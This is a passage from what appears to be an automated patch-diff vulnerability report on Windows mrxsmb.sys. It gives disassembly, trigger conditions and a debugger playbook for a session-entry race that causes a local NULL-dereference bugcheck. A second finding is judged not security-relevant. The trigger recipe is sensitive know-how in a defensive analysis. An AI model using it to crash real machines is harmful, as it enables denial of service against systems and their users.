&lt;span class="mh"&gt;0x140030D3A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x344&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x140030D3D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x140030D4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxFindEa&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;TransportInfo&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;
&lt;span class="mh"&gt;0x140030D6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+6&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;
&lt;span class="mh"&gt;0x14005EF4A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+344h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;existing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;
&lt;span class="mh"&gt;0x14005EF51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xmm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx+rax+9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;
&lt;span class="mh"&gt;0x14005EF60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;consistency&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mh"&gt;0x14005EFA9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+348h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gates&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;further&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mh"&gt;0x14005F00D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xmm1&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;caller&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- PATCHED new MRxSmbValidateIncomingPortsAgainstEffective @ 0x14003E430 ---&lt;/span&gt;
&lt;span class="mh"&gt;0x14003E4D1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+354h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;effective&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x354&lt;/span&gt;
&lt;span class="mh"&gt;0x14003E4E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+356h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;effective&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x356&lt;/span&gt;
&lt;span class="mh"&gt;0x14003E504&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+358h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;effective&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x358&lt;/span&gt;
&lt;span class="mh"&gt;0x14003E57B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C05D000Dh&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding 1 (session-entry race)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Setup:&lt;/strong&gt; A local process in a standard logon session; optionally a slow-negotiating SMB server to widen the setup window. The path is not remotely reachable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Action:&lt;/strong&gt; Multiple threads call &lt;code&gt;CreateFile&lt;/code&gt; / &lt;code&gt;NtCreateFile&lt;/code&gt; on the same UNC path (&lt;code&gt;\\server\share&lt;/code&gt;) concurrently, released via a barrier.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Execution:&lt;/strong&gt; One thread constructs a session entry and begins session/transport setup; another thread matches the entry via &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; before setup completes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result:&lt;/strong&gt; If the matched entry's security-context pointer (&lt;code&gt;+0x80&lt;/code&gt;) is NULL at that instant, &lt;code&gt;CheckCredentials&lt;/code&gt; faults at &lt;code&gt;0x140008A56&lt;/code&gt;, bugchecking the machine (local DoS). No unauthorized access is granted.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 (transport ports)&lt;/h3&gt;
&lt;p&gt;There is no attacker-reachable security condition to trigger. Supplying a &lt;code&gt;TransportInfo&lt;/code&gt; EA affects only the caller's own outbound connection configuration; the added check enforces consistency with the effective port for the alternative-port feature.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Finding 1&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None beyond a local denial of service. The matched entry is zero-initialized pool memory whose contents are not attacker-controlled, so there is no read/write primitive, no information leak, and no way to forge a security descriptor. The &lt;code&gt;SeAccessCheck&lt;/code&gt; call site guards both &lt;code&gt;+0x80&lt;/code&gt; and the descriptor at &lt;code&gt;+0x38&lt;/code&gt;, so it cannot be coerced into evaluating attacker data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability caveat:&lt;/strong&gt; Because construction sets &lt;code&gt;+0x80&lt;/code&gt; and the match keys before publishing the entry into the searchable list under the same spinlock, even the NULL-dereference outcome depends on the security-context pointer being legitimately NULL for the matched entry (e.g., a credential-less session) at the moment of the race — a narrow, timing-dependent condition.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rollout:&lt;/strong&gt; Gated by &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt; with &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; retained as the pre-patch path; a staged rollout.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;No exploit primitive. The change is feature-consistency validation on the caller's own connection parameters.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mrxsmb!SmbCeFindSessionEntry+0xc9&lt;/code&gt; (&lt;code&gt;0x1400087C9&lt;/code&gt;): a matching entry is found; &lt;code&gt;rbx&lt;/code&gt; is the entry. Inspect &lt;code&gt;rbx+0x80&lt;/code&gt; and &lt;code&gt;rbx+0x1a8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mrxsmb!SmbCeFindSessionEntry+0x14d&lt;/code&gt; (&lt;code&gt;0x14000884D&lt;/code&gt;): &lt;code&gt;mov rcx,[rbx+0x80]&lt;/code&gt; after the spinlock release, feeding the security-context pointer into &lt;code&gt;CheckCredentials&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mrxsmb!CheckCredentials+0x5a&lt;/code&gt; (&lt;code&gt;0x140008A56&lt;/code&gt;): &lt;code&gt;cmp [rax+0x38],rdx&lt;/code&gt; — the NULL-deref sink when &lt;code&gt;rax&lt;/code&gt; (the &lt;code&gt;+0x80&lt;/code&gt; pointer) is zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt; From user mode, issue concurrent &lt;code&gt;CreateFile&lt;/code&gt; requests to the same &lt;code&gt;\\server\share&lt;/code&gt; from many threads released by a &lt;code&gt;CreateEvent&lt;/code&gt; barrier; use a slow server to widen the setup window.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt; If the race is won against a credential-less entry, a bugcheck (e.g. &lt;code&gt;0x50&lt;/code&gt;) at &lt;code&gt;0x140008A56&lt;/code&gt;. The &lt;code&gt;SeAccessCheck&lt;/code&gt; call at &lt;code&gt;0x14005A53B&lt;/code&gt; is not reached with an invalid descriptor because of the null checks at &lt;code&gt;0x1400088CF&lt;/code&gt;/&lt;code&gt;0x1400088D8&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: &lt;code&gt;MRxSmbValidateAndGetTransportParameters&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mrxsmb!MRxSmbValidateAndGetTransportParameters&lt;/code&gt; (&lt;code&gt;0x140030D30&lt;/code&gt;): entry; &lt;code&gt;r8&lt;/code&gt; = connection context, &lt;code&gt;r9&lt;/code&gt; = write target.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x14005F00D&lt;/code&gt;: &lt;code&gt;movups [rdi],xmm1&lt;/code&gt;, the write into the caller's own connection context at &lt;code&gt;+0x344&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observation:&lt;/strong&gt; The write copies the caller-supplied &lt;code&gt;TransportInfo&lt;/code&gt; into the caller's own connection configuration; in the patched feature path &lt;code&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/code&gt; additionally requires the ports to match the effective ports at &lt;code&gt;+0x354&lt;/code&gt;/&lt;code&gt;+0x356&lt;/code&gt;/&lt;code&gt;+0x358&lt;/code&gt;. No cross-boundary effect is observable.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;The diff is dominated by the &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt; rollout (alternative-port / transport-address plumbing), plus a few unrelated WIL feature stagings (&lt;code&gt;Feature_Servicing_AllowFileIdZeroOnShareRoot&lt;/code&gt;, &lt;code&gt;Feature_Servicing_SmbCompressionOverQuicFix&lt;/code&gt;). Every pre-patch behavior the feature changes is retained verbatim under an &lt;code&gt;_Old&lt;/code&gt; twin and selected at runtime by a feature check (staged rollout).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;@ 0x140008700&lt;/code&gt; → new &lt;code&gt;@ 0x1400334F0&lt;/code&gt;, old retained as &lt;code&gt;SmbCeFindSessionEntry_Old @ 0x1400476D4&lt;/code&gt;) (Security-relevant): Adds &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; waits on init flags &lt;code&gt;+0x230&lt;/code&gt;/&lt;code&gt;+0x231&lt;/code&gt;. Worst demonstrable impact of the unsynchronized path is a local NULL-deref bugcheck. See Finding 1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeDecrementActiveVNetRootContextsOnSession&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;@ 0x140008F60&lt;/code&gt; / patched &lt;code&gt;@ 0x14001BA30&lt;/code&gt;) (Security-relevant, companion): The patched version sets &lt;code&gt;+0x231&lt;/code&gt; and calls &lt;code&gt;ExUnblockOnAddressPushLockEx(entry+0x238, 0)&lt;/code&gt; to wake threads blocked in the new lookup; the unpatched version does neither.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeFindOrConstructSessionEntry&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;@ 0x1400081E0&lt;/code&gt; / patched &lt;code&gt;@ 0x14001A980&lt;/code&gt;) (Behavioral): Dispatches new vs &lt;code&gt;_Old&lt;/code&gt; lookup via the feature gate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxSmbValidateAndGetTransportParameters&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;@ 0x140030D30&lt;/code&gt;, old retained as &lt;code&gt;MRxSmbValidateAndGetTransportParameters_Old @ 0x14003E2D0&lt;/code&gt;) (Behavioral, not security-relevant): Feature path adds a boolean gate and the new &lt;code&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/code&gt; port-consistency check on the caller's own connection parameters. See Finding 2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RxCeEstablishConnection&lt;/code&gt;&lt;/strong&gt; (old retained as &lt;code&gt;RxCeEstablishConnection_Old @ 0x140050770&lt;/code&gt;) (Behavioral): Feature-gated split into helper routines.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeInitializeConnectionInfo&lt;/code&gt;&lt;/strong&gt; (Behavioral): Adds a pointer-overflow guard and dialect/port-aware selection; no standalone vulnerability fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxSmbProcessClientMoveNotification&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;sub_14008CE80&lt;/code&gt;&lt;/strong&gt;/&lt;strong&gt;&lt;code&gt;sub_14008D060&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;sub_14008A220&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;sub_140042254&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;sub_140009D00&lt;/code&gt;&lt;/strong&gt; (Behavioral/cosmetic): Dialect/port-aware dispatch, alternative-port registry/policy parsing, structure-offset adjustments consistent with the expanded transport structures.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; — the pre-patch session-entry lookup retained verbatim for the feature-disabled path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;MRxSmbValidateAndGetTransportParameters_Old&lt;/code&gt; — the pre-patch transport parser retained verbatim for the feature-disabled path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/code&gt; — the new port-consistency check (Finding 2).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added (alternative-port plumbing):&lt;/strong&gt; &lt;code&gt;SmbCeComputeEffectivePorts&lt;/code&gt; / &lt;code&gt;SmbCeComputeEffectivePortForTransport&lt;/code&gt;, &lt;code&gt;SmbCe{Insert,Lookup,Remove}PortScopeEntry&lt;/code&gt;, &lt;code&gt;SmbCeGetPortFrom{Policy,Registry}ServerTransportPortMappings&lt;/code&gt;, and the &lt;code&gt;RxCe*_Old&lt;/code&gt; / &lt;code&gt;Vct*_Old&lt;/code&gt; twins.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High on the mechanism and direction. The patched build adds &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; waits on new &lt;code&gt;+0x230&lt;/code&gt;/&lt;code&gt;+0x231&lt;/code&gt; flags in the session-entry lookup, with the constructing side signaling via &lt;code&gt;ExUnblockOnAddressPushLockEx&lt;/code&gt;, and the pre-patch path retained as &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 1 rating:&lt;/strong&gt; Low. The reachable worst case is a local kernel bugcheck (DoS). The &lt;code&gt;SeAccessCheck&lt;/code&gt; call site null-checks its inputs (no authentication bypass); the entry is zero-initialized pool (no information-leak or memory-corruption primitive); the path is local-only; and even the NULL-deref requires winning a narrow timing window against a credential-less entry.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 2 rating:&lt;/strong&gt; No security-relevant change. The added transport-port validation operates on the caller's own connection parameters and crosses no boundary; it is feature-consistency logic for the alternative-port feature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rollout:&lt;/strong&gt; Both changes are gated by &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt; with the old paths retained — a staged rollout.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>mrxsmb.sys — Race on a not-fully-initialized session entry during concurrent tree-connect (CWE-476) local denial of service, fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/mrxsmb_e8383c54-mrxsmb-report-20260703-160639.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/mrxsmb_e8383c54-mrxsmb-report-20260703-160639.html</id><summary type="html">&lt;p&gt;KB5083768&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9536&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; Matched: 1246 | Changed: 44 | Identical: 1202 | Unmatched (Unpatched): 0 | Unmatched (Patched): 0&lt;/li&gt;
